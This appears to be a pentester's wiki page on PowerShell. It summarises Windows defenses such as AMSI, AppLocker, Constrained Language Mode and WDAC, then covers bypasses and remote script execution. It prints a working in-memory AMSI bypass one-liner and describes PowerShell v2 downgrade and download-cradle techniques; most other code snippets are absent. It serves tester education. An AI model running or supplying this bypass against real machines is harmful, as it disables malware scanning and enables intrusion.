PowerShell
PowerShell Defenses
PowerShell incorportes multiple defense mechanism such as:
PowerShell Transcripts - These can be system-wide and should be configured to be system-wide to cover more area of detection
PowerShell AMSI (Antimalware Scan Interface) - This is typically a component of the security solution installed on a machine which can either be an EDR or AntiVirus solution. Typically EDR providers create and use their own version of AMSI which is more advanced in the detection of malicious scripts or commands being imported or executed
Script Blocking - Block PowerShell scripts from being imported and executed
AppLocker - A configuration-based protection in Windows platform which can block execution of untrusted binaries or PowerShell scripts. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview#applocker Replaced by WDAC due to much better coverage and difficulty around bypassing
PowerShell CLM (Constrained Language Mode) - This mode restricts usage of certain PowerShell features which would prevent a user from loading or using Windows APIs. A simple example can be found here as well as some more information: https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/ Note that this feature of PowerShell shouldn't be considered as secure and instead, should be relied on other features mentioned here !
WDAC (Windows Defender Application Control) - A policy can be defined in WDAC to block or only allow specific binaries, scripts and so on. This provides strict management of code execution on machines. It can also allow execution of binaries which are internally signed either by a custom CA or by ADCS code signing certificate templates. A nice YouTube explaining the basics is located here - https://www.youtube.com/watch?v=Nj5vBloAWy0
PowerShell Attacks and Bypasses
PowerShell AMSI Bypass
Multiple ways of bypassing AMSI exist which are public such as byte patching which would force AMSI to always return a status of AMSI_STATUS_CLEAN.
Public resources such as the below exist to provide testers with ways of bypassing AMSI so a malicious script can be loaded:
Another example below which will patch AMSI to return a null value:
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)Too many AMSI bypasses can force Defender to flag every binary or script as malicious regardless if its true or not! Bypasses should be applied when a script, binary or command is of suspicious nature to Defender and AMSI.
PowerShell CLM Bypass
Constrained Language Mode can be bypassed using various methods. One very well known method is use check for PowerShell version 2 which does not incorporate security boundaries and therefore is not affected by AMSI or CLM and other such features.
When AppLocker is enforcing whitelisting rules against PowerShell scripts, ConstrainedLanguageMode is enabled as well.
The current PowerShell language mode can also be viewed using the following command:
A custom runspace can also be used to create a PowerShell session such as using the example code:
PowerShell Script Execution
Importing a script (
.ps1)
Importing a module (
.psd1)
Where ipmo is an alias to Import-Module.
To obtain a list of the aliases in PowerShell on a machine, the command Get-Alias can be executed. On Windows 11 24H2, the default aliases for commands are as follows:
Listing all commands of an imported module:
Using a download cradle to obtain a script from a remote source and execute it:
Using a COM Object to Internet Explorer
For PowerShell version 3 onwards the
Invoke-WebRequest(with alias ofiwr) command can be used instead.
An error can occur when using Invoke-WebRequest without the argument -UseBasicParsing. This is due to the IE Engine not being enable as Microsoft have deprecated Internet Explorer.

So for this reason the -UseBasicParsing argument can be added to the command to resolve the issue.
Using a COM Object to MSXML2:
Using the
WebRequestclass in .NET:
Last updated